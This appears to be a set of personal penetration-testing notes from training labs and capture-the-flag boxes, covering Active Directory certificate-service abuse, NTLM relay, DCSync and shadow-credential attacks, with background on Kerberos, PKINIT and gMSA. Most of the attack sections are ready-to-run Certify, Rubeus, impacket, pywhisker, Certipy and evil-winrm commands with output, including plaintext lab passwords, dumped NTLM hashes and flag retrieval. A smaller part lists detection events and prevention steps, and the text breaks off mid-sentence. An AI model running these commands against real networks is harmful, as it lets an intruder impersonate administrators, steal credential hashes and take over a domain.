Whether the template allows user-supplied Subject Alternative Name (SAN)
📌 Why it’s important:
This helps identify what types of certificates users and machines can request. Some templates may be insecurely configured, allowing abuse.
- Searching for vulnerable certificate templates that can be abused for privilege escalation or impersonation.
Certify.exe find /vulnerable
Note:- This command only shows those template where normal identity(specific user) has enrollment rights
🔎 What you get:
Certify flags templates that meet known vulnerability criteria, such as:
ESC1 | Users can request certs with Client Authentication and supply arbitrary SAN |ESC2 | Template allows enrollment by low-privileged users and issues certs for logon |ESC3 | Enrollment agent abuse |ESC6 | The template allows cert issuance for any user |It will output:
Template name
Why it’s vulnerable (e.g., ESC1/ESC6/etc.)
Who can enroll
Key usage and EKUs
If you can supply custom SAN
📌 Why it’s important:
This is the most important command for identifying paths to domain privilege escalation via AD CS.
The above templete(HTTPSCertificate) is vulnerabile to ENROLLE_SUPPLIES_SUBJECT which belongs to ESC1, which allows to request certificate for any user(including domain admins) for HTTPSCertificate . This request can be made any user who belongs to RDPUser group(all the student user by default belongs to this group) and this certificate can be used for client authentication(mentioned in pkiextendedkeyusage) i.e TGT can be requested for any user.
In the Moneycorp environment, AD CS has multiple misconfigurations that allow escalation using ESC1 and ESC3 attack paths. The common issues include:
🔓 Low-privileged users are allowed to enroll for certificates (both at the CA level and template level).
❌ No manager approval is required to issue certificates(usually true for most of the templates).
🚫 No authorization signatures are needed.
📄 The target certificate templates are insecurely configured to allow low-privileged users to request certs.
These misconfigs make it easy for attackers to request certificates that can be used for privilege escalation or impersonation within the domain.
🔐 Summary of Escalation Techniques Used
There are two primary attack paths shown here:
ESC3 – Abuse of Certificate Request Agent template to enroll on behalf of another user (e.g., Domain Admin).
ESC1 – Abuse of templates that allow enrollees to supply subject names (SANs) to impersonate privileged users.
Let’s go step-by-step:
🔥 BACKGROUND: AD CS + Cross-Domain Trust
You’re in a forest like dcorp.local and trying to escalate privileges across a trust into moneycorp.local. The target (moneycorp) has vulnerable certificate templates and CA configuration, allowing you to request certificates that impersonate high-privileged users like Domain Admins (DA) or Enterprise Admins (EA).
🔓 ESC3 — Exploiting Certificate Request Agent Misconfiguration
🧩 Vulnerability:
The
SmartCardEnrollment-Agenttemplate allows low-privileged users to enroll for agent certificates (intended to request certs on behalf of others).No manager approval or extra signatures required.
The
SmartCardEnrollment-Userstemplate allows Smartcard-style logon certificates to be requested on behalf of other users.
➤ STEP 1: Request a Certificate Request Agent cert
Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:SmartCardEnrollment-Agent
You request a certificate from the CA using the
SmartCardEnrollment-Agenttemplate.This gives you a cert that lets you act on behalf of other users.
You receive: cert.pem (certificate file)
➤ STEP 2: Convert the certificate to PFX
Convert cert.pem + private key into esc3agent.pfx (this format is required by Rubeus and Certify)
openssl pkcs12 -export -out esc3agent.pfx -inkey key.pem -in cert.pem
This certificate can now be used to request certificates on behalf of others.
➤ STEP 3: Request a certificate for Domain Admin (DA) using your agent cert
Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \
/template:SmartCardEnrollment-Users \
/onbehalfof:dcorp\administrator \
/enrollcert:esc3agent.pfx \
/enrollcertpw:SecretPass@123
You impersonate the DA (
dcorp\administrator)You use your agent cert (
esc3agent.pfx) to make the requestThis gives you a certificate for the DA account.
You receive: cert.pem → Convert to esc3user-DA.pfx
➤ STEP 4: Request a TGT (Kerberos Ticket) for DA
Rubeus.exe asktgt /user:administrator /certificate:esc3user-DA.pfx /password:SecretPass@123 /ptt
You now get a TGT for DA using the certificate.
/ptt= Pass The Ticket — it directly injects the ticket into your session.
🎯 You are now Domain Admin.
🔥 Escalation to Enterprise Admin (EA) (Same concept)
Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \
/template:SmartCardEnrollment-Users \
/onbehalfof:moneycorp.local\administrator \
/enrollcert:esc3agent.pfx \
/enrollcertpw:SecretPass@123
Then:
Rubeus.exe asktgt /user:moneycorp.local\administrator \
/certificate:esc3user.pfx /dc:mcorp-dc.moneycorp.local \
/password:SecretPass@123 /ptt
🎯 You now impersonate EA from moneycorp domain.
🔥 ESC1 — Enrollee Supplies Subject Misconfiguration
🧩 Vulnerability:
HTTPSCertificatestemplate has ENROLLEE_SUPPLIES_SUBJECT flag set (meaning: you can specify any subject, including a different user).Normal users can enroll and supply
/altname:administrator
➤ STEP 1: Find the template
Certify.exe find /enrolleeSuppliesSubject
This shows HTTPSCertificates is vulnerable.
➤ STEP 2: Request a certificate for administrator
Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \
/template:"HTTPSCertificates" /altname:administrator
As a low-priv user (e.g.,
studentx), you request a certificate for the administratorBecause of misconfig, CA allows it.
Result: You get cert.pem → Convert to esc1.pfx
➤ STEP 3: Use Rubeus to get DA TGT
Rubeus.exe asktgt /user:administrator /certificate:esc1.pfx \
/password:SecretPass@123 /ptt
🎯 You are now DA.
📌 Summary Table
Let me know if you want diagrams or simplified step-by-step flow!
🧠 Why This Works
These attacks succeed because of:
Misconfigured certificate templates (allowing low-priv users to enroll or impersonate).
No need for manager approval or authorization.
Certificates are accepted by the KDC for Kerberos authentication (PKINIT).
Exploitation Scenario:
Part one has been already cover above where we have found HTTPSCertificate template is vulnerable to ESC1
Covering Part2:-
If we want look for specific template like ENROLLEE_SUPPLIES_SUBJECT which is ESC1, then we run following command;
Certify.exe find /enrolleeSuppliesSubject
After running the command we will get many template but we have look for only those template where we have enrollment rights, for above example enrollment right only belongs to Domain Admins so we will skip this.
for above template we have enrollment right so we will target this template. As the student users are part of RDPusers group.
pkiextendedkeyusage - this attributes tells for what purpose this certificate can be used for
by abusing this templete we can request from HTTPSCertificates for any user(even for domain admins) and use that certificate for client authentication i.e request TGT for that user.
Step1:- Requesting Certificate
C:\AD\Tools\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA
/template:"HTTPSCertificates" /altname:administrator
Same as above:-
C:\AD\Tools\Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA /template:"HTTPSCertificates" /altname:administrator
This request certificate for HTTPSCertificates for administrator as a normal rdpuser(student).
copy this certificate and save to a text file with extension .pem
Step2:- Converting file from .pem to .pfx
Now you tool suggests that use openssl to convert file from .pem to .pfx
Run the following command for converting .pem file to .pfx using openssl.
Convert cert.pem + private key into esc3agent.pfx (this format is required by Rubeus and Certify)
C:\AD\Tools\openssl\openssl.exe pkcs12 -in <Path_to_save_file> -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out <path_and_filename>
Example:-
C:\AD\Tools\openssl\openssl.exe pkcs12 -in C:\AD\Tools\esc1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\AD\Tools\esc1-DA.pfx
and it will ask for password, use any password but remember it.
Step3:- Using rubeus to request TGT of administrator:
C:\AD\Tools\Rubeus.exe asktgt /user:administrator /certificate:C:\AD\Tools\esc1.pfx /password:pass@123 /ptt
pass@123 -> is the password which we set while converting the file in previous step
Running klist to verify whether the TGT has been successfully imported into current user session:
Now we can access any service on behalf of domain administrator.
winrs -r:dcopr-dc cmd /c set username
Now requesting certificate of enterprise admin:
the only difference in command is that we are specifying that we are requesting certificate for forest administrator which is enterprise admin(*altname:
Certify.exe request /ca:mcorp-dc.moneycorp.local\moneycorp-MCORP-DC-CA \
/template:"HTTPSCertificates" /altname:moneycorp.local\administrator
From here on wards all the steps are same as previous one.
convert file from .pem to .pfx
Requesting TGT for enterprise administrator.
Rubeus.exe asktgt /user:<forestname>\administrator /dc:<dc-name> /certificate:esc1.pfx \
/password:SecretPass@123 /ptt
here just you have to specify for which administrator you are request tgt and its domain controller
Pass the Certificate
Step 1 - access the certificate server
http://10.129.234.172/certsrv/certfnsh.asp
wwhite:package5shores_topher1
Step 2 - start the listener using ntmlrelayx
impacket-ntlmrelayx -t http://10.129.234.172/certsrv/certfnsh.asp –adcs -smb2support –template KerberosAuthentication
Step 3 - Trigger Authentication for getting the dc certificate
python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:“package5shores_topher1”@10.129.234.174 10.10.17.180
Step 4 - ask for TGT for domain machine using the valid domain certificate
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip 10.129.234.174 ‘inlanefreight.local/dc01$’ /tmp/dc.ccache
2025-07-07 10:11:15,603 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-07-07 10:11:16,115 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-07-07 10:11:28,449 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-07-07 10:11:28,453 minikerberos INFO 4e998cf4ad0dd1e7b7a4e49457d8d727e736bccfdf069e9902271ab66a2c0e18
INFO:minikerberos:4e998cf4ad0dd1e7b7a4e49457d8d727e736bccfdf069e9902271ab66a2c0e18
2025-07-07 10:11:28,463 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
Step 5 - export the TGT from the tmp file
export KRB5CCNAME=/tmp/dc.ccache
Step 6 - check on env whether its set or not
Step 7 - use klist for checking current TGT user
klist
Step 8 - add it on hosts file
Step 9 - since we have the domain machine TGT we can now ask for administrator credentials ( hashes )
impacket-secretsdump -k -no-pass -dc-ip 10.129.234.174 -just-dc-user Administrator ‘INLANEFREIGHT.LOCAL/DC01$’@DC01.INLANEFREIGHT.LOCAL
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fd02e525dd676fd8ca04e200d265f20c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:ec2223ff4c0bce238aa04d30be0fe9e634495f9449c0c25307c66d7c12d8f93a
Administrator:aes128-cts-hmac-sha1-96:ffb8855b50dd1bf538c8001620c4f1d1
Administrator:des-cbc-md5:a1f262b50b64c46b
Step 10 - RBCD Chain attack
python3 pywhisker.py –dc-ip 10.129.234.174 -d INLANEFREIGHT.LOCAL -u wwhite -p ‘package5shores_topher1’ –target jpinkman –action add
[*] Searching for the target account
[*] Target user found: CN=Jesse Pinkman,CN=Users,DC=inlanefreight,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: c8ea8798-6e42-4da0-da0d-9ae6ef71aefe
[*] Updating the msDS-KeyCredentialLink attribute of jpinkman
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: zyo2wrxR.pfx
[+] PFX exportiert nach: zyo2wrxR.pfx
[i] Passwort für PFX: tHzcNOe5sojsKP5eCE8n
[+] Saved PFX (#PKCS12) certificate & key at path: zyo2wrxR.pfx
[*] Must be used with password: tHzcNOe5sojsKP5eCE8n
[*] A TGT can now be obtained with [https://github.com/dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools)
Step 11 - get TGT of jpinkman user
python3 gettgtpkinit.py -cert-pfx zyo2wrxR.pfx -pfx-pass ‘tHzcNOe5sojsKP5eCE8n’ -dc-ip 10.129.234.174 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
Step 12 - export the TGT and check using klist
export KRB5CCNAME=/tmp/jpinkman.ccache
klist
Step 13 - make changes in the /etc/krb5.conf file
Step 14 - login using winrm tool for accessing jpinkman account
evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
Step 15 - login to admin using its hash found earlier
evil-winrm -i 10.129.234.174 -u Administrator -H fd02e525dd676fd8ca04e200d265f20c
Pass the Certificate Working
🧭 Step-by-Step Guide
✅ Step 1: Identify Roles of IPs
From your context:
10.129.234.109= DC (Domain Controller)10.129.234.110= AD CS Web Enrollment (CertSrv)
You’ll need to relay auth from the DC to the CA server to request a machine certificate.
✅ Step 2: Start NTLM Relay with ntlmrelayx
bash
CopyEdit
impacket-ntlmrelayx -t http://10.129.234.110/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
Keep this window running — it waits for an incoming NTLM authentication to relay.
✅ Step 3: Trigger Authentication using printerbug.py
bash
CopyEdit
python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:"package5shores_topher1"@10.129.234.109 10.10.16.12
10.10.16.12is your attacker IP (running ntlmrelayx).If successful, ntlmrelayx will:
- Relay DC01$’s auth to the CA server.
- Request and obtain a certificate for DC01$.
- Save it as
DC01$.pfx.
✅ Step 4: Extract TGT Using gettgtpkinit.py
Install PKINITtools if not done already:
bash
CopyEdit
git clone https://github.com/dirkjanm/PKINITtools.git
cd PKINITtools
python3 -m venv .venv && source .venv/bin/activate
pip3 install -r requirements.txt
Then run:
bash
CopyEdit
python3 gettgtpkinit.py -cert-pfx ../DC01\$.pfx -dc-ip 10.129.234.109 'inlanefreight.local/dc01$' /tmp/dc.ccache
This gives you a valid TGT for the DC01$ machine account.
✅ Step 5: DCSync Attack to Get Administrator Hash
bash
CopyEdit
export KRB5CCNAME=/tmp/dc.ccache
impacket-secretsdump -k -no-pass -dc-ip 10.129.234.109 -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
This should give you the NTLM hash of Administrator. Save it for later access.
✅ Step 6: Shadow Credential Attack on jpinkman
bash
CopyEdit
pywhisker --dc-ip 10.129.234.109 -d INLANEFREIGHT.LOCAL -u wwhite -p 'package5shores_topher1' --target jpinkman --action add
This command:
Generates a certificate.
Modifies
jpinkman’smsDS-KeyCredentialLinkattribute.Outputs
eFUVVTPf.pfxand password.
✅ Step 7: Get TGT for jpinkman
bash
CopyEdit
python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'bmRH4LK7UwPrAOfvIx6W' -dc-ip 10.129.234.109 INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache
✅ Step 8: Access jpinkman’s Desktop via Evil-WinRM
Make sure your /etc/krb5.conf is configured properly with:
ini
CopyEdit
[libdefaults]
default_realm = INLANEFREIGHT.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
Export the ticket and access the machine:
bash
CopyEdit
export KRB5CCNAME=/tmp/jpinkman.ccache
evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local
Inside the shell:
powershell
CopyEdit
cd ..\Desktop
type flag.txt
✅ Submit the flag for jpinkman.
✅ Step 9: Access Administrator’s Flag
Now use evil-winrm with the NTLM hash obtained earlier.
bash
CopyEdit
evil-winrm -i dc01.inlanefreight.local -u Administrator -H <NTLM_HASH>
Then:
powershell
CopyEdit
cd C:\Users\Administrator\Desktop
type flag.txt
✅ Submit the flag for Administrator.
Shadow Key Credentials Attack
Understanding The Working
🔐 Introduction to Kerberos Authentication
Active Directory uses Kerberos (trusted authentication protocol)
✔️ Verifies identity of users and services
✔️ Uses tickets (avoids sending passwords over network)
🔑 Symmetric Encryption in Kerberos
📌 Traditional Kerberos uses symmetric encryption
🔄 Authentication Flow
1️⃣ AS-REQ (Authentication Service Request)
Client → KDC
Includes:
- ⏱️ Timestamp
- 🔒 Encrypted using key derived from user’s password
2️⃣ AS-REP (Authentication Service Response)
- KDC:
- ✔️ Validates timestamp using stored hash
- 🎟️ Issues TGT (Ticket Granting Ticket)
- 🔐 Encrypted with KDC’s secret key
3️⃣ TGS-REQ & TGS-REP
Client uses TGT
Requests access to service
KDC returns:
- 🎫 Service Ticket
⚠️ Limitation
❌ Depends on shared secrets (passwords)
❌ Not suitable for PKI-based authentication (e.g., smart cards)
🔐 Asymmetric Encryption with PKINIT
📌 PKINIT (Public Key Cryptography for Initial Authentication)
Extension of Kerberos
✔️ Uses public-private key pairs
✔️ Removes dependency on passwords
🪪 PKINIT Certificate Authentication
- Uses:
- 📜 X.509 Certificate
- 🔑 Private Key
- ✔️ KDC directly validates the certificate
🔗 PKINIT Key Trust
- Uses:
- 🧾
msDS-KeyCredentialLinkattribute in AD
- 🧾
- ✔️ Stores public keys linked to user
🔄 Working Flow
1️⃣ AS-REQ with PKINIT
Client → KDC
Includes:
- ⏱️ Timestamp
- ✍️ Signed using private key
- 🔓 Public key
2️⃣ Public Key Validation
- KDC checks:
🔍 Public key in request
🔗 Matches with:
msDS-KeyCredentialLink
- ✔️ If match:
- Decrypts timestamp
- Verifies signature
3️⃣ AS-REP
✔️ If validation successful
🎟️ KDC issues TGT
⚠️ Security Insight
🔥 Shadow Credentials Attack
Uses
msDS-KeyCredentialLink✔️ Adds attacker-controlled public key
✔️ Enables authentication without password
❗ Covert technique
❗ Minimal visibility in traditional SIEM
🎯 Summary
Symmetric Kerberos → Password-based
PKINIT → Certificate / Key-based
Key Trust → Uses msDS-KeyCredentialLink
Understanding msDS-KeyCredentialLink
🔗 The msDS-KeyCredentialLink Attribute
📌 Overview
Introduced with Windows Server 2016 (PKINIT support)
Used to store public keys for authentication
Critical for certificate/key-based authentication
🧩 Key Characteristics
1️⃣ Multi-Value Attribute
✔️ Can store multiple public keys
✔️ Represents multiple devices linked to one account
2️⃣ Contains Key Credential Objects
Each value includes:
📅 Creation date
🧾 Distinguished Name (DN) of owner
🆔 GUID (Device ID)
🔑 Public key
3️⃣ Used During Authentication
Client sends public key during PKINIT
KDC checks:
msDS-KeyCredentialLink
- ✔️ If match found → authentication continues
4️⃣ Permission Requirement
- ❗ Modification requires special permissions:
- GenericWrite
- GenericAll
- Typically held by privileged accounts
🕶️ How Shadow Credentials Work
📌 Concept
- Exploits weak permissions on:
msDS-KeyCredentialLink
✔️ Attacker injects their own public key
✔️ Authenticates as target using PKINIT
🔄 Attack Flow (Step-by-Step)
Step 1: Identify Target Permissions
The attacker identifies an Active Directory object (such as a user or computer account) where they have permissions to modify attributes. Permissions like GenericWrite or GenericAll are required to modify the msDS-KeyCredentialLink attribute.
Step 2: Inject the Attacker’s Public Key
Next, the attacker adds their own public key to the msDS-KeyCredentialLink attribute of the target account. This process essentially “registers” the attacker’s key as a valid authentication method for the target.
Step 3: Generate a Certificate
The attacker creates a certificate in PFX format using the private key associated with the injected public key. This certificate is now tied to the target account.
Step 4: Authenticate as the Target Account
With the generated certificate, the attacker authenticates to the domain using PKINIT. The KDC validates the attacker’s public key against the msDS-KeyCredentialLink attribute and issues a Ticket Granting Ticket (TGT) for the target account.
Step 5: Impersonate Users or Escalate Privileges
Using the TGT, the attacker can:
Perform lateral movement within the network.
Use the S4U2self protocol to impersonate other users.
Extract NTLM hashes from the Privilege Attribute Certificate (PAC).
⚠️ Key Insight
No password needed
No certificate from CA required
Only public key injection is enough
🎯 Summary
Attacker → Injects public key → Generates cert → PKINIT auth → Gets TGT → Becomes target
🔍 Detection
📌 Overview
There are two main detection opportunities:
🧪 1️⃣ Detect PKINIT-Based TGT Requests
- Monitor event:
- 4768 → Kerberos authentication ticket (TGT) requested
🔎 Indicator
- ⚠️ Suspicious if:
Certificate Information fields are NOT blank
- ✔️ Especially when:
- PKINIT is not commonly used
- Target account normally doesn’t use certificate-based auth
🧪 2️⃣ Detect Attribute Modification
- Monitor event:
- 5136 → Directory service object was modified
🔎 Indicator
- ⚠️ Suspicious if:
msDS-KeyCredentialLink is modified
- ❗ And modifier is NOT:
- Azure AD Connect account
- ADFS service account
📌 Requirement
- ✔️ SACL must be configured to audit:
- AD object modification
🛡️ Prevention
🔐 1️⃣ Restrict Object Control
- ✔️ Audit permissions on:
- Privileged accounts
⚠️ Rule
Low-privileged users should NOT modify:
msDS-KeyCredentialLink of privileged accounts
🔐 2️⃣ Deny Modification via ACE
- Add Access Control Entry (ACE):
DENY → EVERYONE → msDS-KeyCredentialLink
- ✔️ Apply to:
- Accounts not using Key Trust
- Especially privileged accounts
⚠️ Limitation
- ❗ Can be bypassed if attacker has:
- WriteOwner
- WriteDACL
🔎 Detection for Bypass
- ✔️ Use SACL to detect:
Permission changes / ACL modifications
🎯 Summary
4768 → Detect PKINIT usage
5136 → Detect attribute modification
Restrict permissions + DENY ACE → Prevention
SACL → Detect bypass attempts
Understanding PKINIT + NTML Hash
🔐 What is PKINIT?
📌 Overview
In Kerberos, clients must perform pre-authentication before receiving a TGT (Ticket Granting Ticket)
Purpose:
- ✔️ Prevents offline password cracking
- ✔️ Mitigates attacks like AS-REP Roasting
🔑 Pre-Authentication in Kerberos
🔄 How it Works
- Client proves identity by:
- ⏱️ Encrypting a timestamp
- 🔒 Using its credentials
- ✔️ Timestamp prevents replay attacks
🔐 Symmetric Key Approach (Traditional)
📌 Key Points
Uses symmetric key derived from password
Example:
- RC4 → key = NT hash
🔄 Flow
1️⃣ Client:
- Encrypts timestamp using secret key
2️⃣ KDC:
Has copy of secret key
✔️ Decrypts timestamp
✔️ Authenticates client
3️⃣ KDC:
🔑 Generates session key
🔐 Encrypts it with same secret key
🎟️ Sends TGT to client
🔐 PKINIT (Asymmetric Authentication)
📌 Overview
Uses public-private key pairs instead of passwords
Less common than symmetric Kerberos
🔄 PKINIT Flow
1️⃣ Client:
✍️ Signs/encrypts pre-auth data using private key
📤 Sends public key + request to KDC
2️⃣ KDC:
🔓 Uses client’s public key
✔️ Decrypts and verifies request
🔑 Session Key Exchange Methods
1️⃣ Diffie-Hellman Key Delivery
✔️ Secure shared session key generation
✔️ Protects against passive MITM attacks
✔️ Provides (almost) Perfect Forward Secrecy
⚠️ Note:
Session key also stored in TGT
Encrypted using KRBTGT secret key
2️⃣ Public Key Encryption Key Delivery
✔️ KDC generates session key
🔐 Encrypts using:
- KDC’s private key
- Client’s public key
🏛️ Certificate Trust Model (PKI)
📌 Overview
Uses Digital Certificates signed by CA
Both client and KDC trust the CA
✔️ Usage
Smart card authentication
Standard PKINIT deployments
⚠️ Requirement
- Both client and KDC must have:
- 🔑 Public-private key pairs
- If AD CS is present:
- ✔️ Domain Controller automatically gets certificate
🔑 Key Trust Model (No PKI)
📌 Overview
No certificate required for client
Uses raw public keys
🔗 Storage
msDS-KeyCredentialLink
🧩 Key Credential Contains
📅 Creation date
🧾 Distinguished Name
🆔 Device GUID
🔑 Public key
✔️ Characteristics
Multi-value attribute
Supports multiple devices per account
🔄 Authentication Flow
1️⃣ Client:
- Sends request with public key
2️⃣ KDC:
- 🔍 Checks:
msDS-KeyCredentialLink
3️⃣ If match:
✔️ Authentication successful
🎟️ TGT issued
⚠️ Critical Insight
If attacker can write to msDS-KeyCredentialLink
→ They can authenticate as that user
→ Obtain TGT
🎯 Summary
Symmetric Kerberos → Password-based
PKINIT → Public/Private key-based
Certificate Trust → Uses CA
Key Trust → Uses msDS-KeyCredentialLink
🔐 What About NTLM?
📌 Overview
- PKINIT allows:
- ✔️ Kerberos authentication
- ✔️ Obtaining a TGT
- ❓ Problem:
- Some resources still require NTLM authentication
🔑 Solution: NTLM via Kerberos Ticket
Client can request a special Service Ticket
This ticket contains:
- 🔐 NTLM hash inside PAC
🧾 PAC (Privilege Attribute Certificate)
- Stored inside:
- 🔒 Encrypted part of the ticket
- Encryption depends on ticket type:
- 🎟️ TGT → Encrypted with KRBTGT key
- 🎫 Service Ticket → Encrypted with service key
⚠️ Limitation
User cannot decrypt TGT
→ Cannot access NTLM hash directly
🔄 Kerberos U2U (User-to-User) Authentication
📌 Purpose
- Allows user to obtain a ticket they can decrypt
🔄 Working Flow
1️⃣ User requests Service Ticket to itself
2️⃣ Sends:
- Its own TGT as:
Additional Ticket
3️⃣ KDC:
Extracts session key from TGT
Generates new Service Ticket
🔐 Encryption Behavior
- U2U Service Ticket is encrypted with:
User’s session key (NOT secret key)
✔️ Result
- User can:
- 🔓 Decrypt Service Ticket
- 📥 Access PAC
- 🔑 Extract NTLM hash
⚠️ Important Design Considerations
Session key changes for every authentication
KDC does NOT store session keys
Extracts session key from:
TGT (encrypted part)
🔥 Critical Insight
If attacker can:
→ Write to msDS-KeyCredentialLink
→ Authenticate via PKINIT
→ Perform U2U request
Then:
→ They can retrieve NTLM hash of target user
📌 Condition (Important)
- As per MS-PAC:
NTLM_SUPPLEMENTAL_CREDENTIAL
→ Added ONLY if PKINIT authentication is used
🎯 Summary
PKINIT → Get TGT
U2U → Get decryptable ticket
PAC → Contains NTLM hash
→ NTLM hash extraction possible
📌 Important Condition (MS-PAC)
- As per MS-PAC specification:
NTLM_SUPPLEMENTAL_CREDENTIAL
→ Added to PAC ONLY if PKINIT authentication is used
🔑 Meaning
- ✔️ If authentication uses PKINIT:
- PAC includes NTLM hash data
- ❌ If authentication uses password (symmetric Kerberos):
- PAC does NOT include NTLM hash
🎯 Key Insight
PKINIT authentication → Enables NTLM hash retrieval (via PAC)
Tools
⚙️ Certipy-ad
📌 Overview
Automates full Shadow Credentials attack
Performs:
Add Key Credential → Authenticate → Get NT hash + TGT → Restore original state
🧪 Command
certipy-ad shadow auto-u krishna@ignite.local-p Password@1-account dc$
🔄 What Happens
1️⃣ Adds new Key Credential to target (dc$)
2️⃣ Authenticates using injected key
3️⃣ Retrieves:
🔑 NTLM hash
🎟️ TGT
4️⃣ Restores original msDS-KeyCredentialLink
🩸 BloodyAD
📌 Overview
Used to manually add Shadow Credentials
Targets:
msDS-KeyCredentialLink
🧪 Command
bloodyAD --host 192.168.1.58 -u krishna -p Password@1 -d ignite.local add shadowCredentials DC$
🔄 Output
- Generates:
Certificate (.pem) + Private Key (.pem)
🔐 PKINITtools (Get TGT)
📌 Purpose
- Use certificate + private key to obtain TGT via PKINIT
🧪 Command
python3 PKINITtools/gettgtpkinit.py \
-cert-pem CVU5WmSJ_cert.pem \
-key-pem CVU5WmSJ_priv.pem \
ignite.local/DC$ raj.ccache
🔄 Result
TGT saved in .ccache file
🔁 NTLMRelayx (Shadow Credentials via Relay)
📌 Overview
Uses NTLM relay to inject Shadow Credentials
Targets LDAP service
🧪 Command
impacket-ntlmrelayx \
-t ldap://192.168.1.58 \
--shadow-credentials \
--shadow-target'dc$'
🔄 Attack Flow
1️⃣ Start Relay Listener
- Waits for incoming NTLM authentication
2️⃣ Trigger Authentication
- Use browser with:
krishna credentials
3️⃣ Receive Connection
DC$ → connects → sends NTLM auth
4️⃣ Relay to LDAP
- NTLM auth relayed to:
LDAP on Domain Controller
5️⃣ Modify Attribute
msDS-KeyCredentialLink updated
- ✔️ Shadow Credential injected
🔐 Get TGT Using PFX
🧪 Command
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx vX3iEoe3.pfx \
-pfx-pass 5SwBdP4py1IG9kDhh2nk \
ignite.local/dc$ shadow.ccache
🔄 Result
TGT obtained for DC$
GMSA
Understanding The Core Concept
🟥 1. What EXACTLY is a gMSA (Group Managed Service Account)?
A gMSA is a special AD security principal created for services running on multiple servers without admins ever knowing the password.
It is:
A special user service account (User Object in AD)
That has no interactive logon
And whose password is 128-character complex string auto-rotated by AD.
The gMSA object is stored in AD under:
CN=svcSQL$,CN=Managed Service Accounts,DC=lab,DC=com
Key attributes:
msDS-ManagedPassword→ Stores current + previous password blobsmsDS-ManagedPasswordInterval→ Days between password rotationsPrincipalsAllowedToRetrieveManagedPassword→ Machines/Groups allowed to read the password
🔐 What Exactly is gMSA?
Most explanations jump directly to passwords and management, but let’s first understand what a gMSA actually is.
📌 Definition
A gMSA (Group Managed Service Account) is:
➡️ A special type of Active Directory account
that is designed to be used by:
Windows Services
IIS Application Pools
Scheduled Tasks
SQL Services
Enterprise Applications
instead of using a normal user account.
🤔 What is it internally?
Think of Active Directory objects:
User Object
Computer Object
Group Object
gMSA Object
A gMSA is its own AD object class.
It is not:
❌ A user account
❌ A computer account
❌ A group
It is a service account object managed by AD.
🚀 gMSA Lifecycle
Step 1 - Administrator Creates gMSA
Example:
- SQLService$
and specifies:
Allowed Computers
SQL01$
SQL02$
SQL03$
This information is stored in the gMSA object in AD.
Step 2 - SQL01 Starts
When:
SQL01 boots
or SQL Service starts
Windows notices:
“This service is configured to run as SQLService$”
Step 3 - SQL01 Contacts Domain Controller
SQL01 (using its computer account SQL01$) asks:
“Can I use SQLService$?”
Step 4 - DC Checks Authorization
DC checks the gMSA object.
Specifically:
msDS-GroupMSAMembership
(contains computers/groups allowed to retrieve the gMSA password)
DC sees:
✅ SQL01$ is authorized
Step 5 - DC Provides Managed Password Data
DC sends the managed password information to SQL01.
At this point:
❌ No human sees it
❌ No admin types it
❌ No application developer knows it
Windows handles everything.
Step 6 - LSASS Stores It
The credential material becomes available to Windows security components.
Think:
SQL Service
↓
LSASS
↓
gMSA credential available
Now SQL Server can authenticate as:
- SQLService$
Step 7 - Future Authentication
Later when SQL needs to access:
SMB share
SQL cluster node
Web service
Another server
it does not go back to AD every single time asking for the password.
Instead:
SQL Service → LSASS → Uses already available gMSA credential
→ Requests Kerberos tickets as needed
📜 When was gMSA introduced?
Microsoft introduced:
➜ MSA (Managed Service Account)
Introduced in Windows Server 2008 R2
Limitation:
- Could only be used by one server
- Not suitable for load-balanced applications
➜ gMSA (Group Managed Service Account)
Introduced in Windows Server 2012
Solved the multi-server limitation
One gMSA can be used by multiple authorized servers
🤔 Why was gMSA created?
Before gMSA, companies typically used:
Service Accounts
Examples:
svc_sql
svc_backup
svc_iis
svc_exchange
These were just normal Active Directory user accounts used by services.
Passwords auto-rotate automatically (every 30 days by default)
No one knows the actual password
Only authorized computers can retrieve it
Perfect for service-to-service authentication
Problems with traditional service accounts
❌ Passwords rarely changed
Admins often configured:
✔ Password never expires
because changing the password could break services.
Result:
Same password used for years
Easy target for attackers
❌ Password rotation was difficult
Changing a service account password meant:
Change password in AD
Update service configuration
Restart service
Verify application still works
Miss one step:
💥 Service outage
❌ Too many people knew the password
Typical environment:
Server admins know it
DBA team knows it
Application team knows it
Result:
Shared secret
Poor accountability
🟦 Attribute Required to Read a gMSA Password
To read (retrieve) a gMSA password from Active Directory, the object must have:
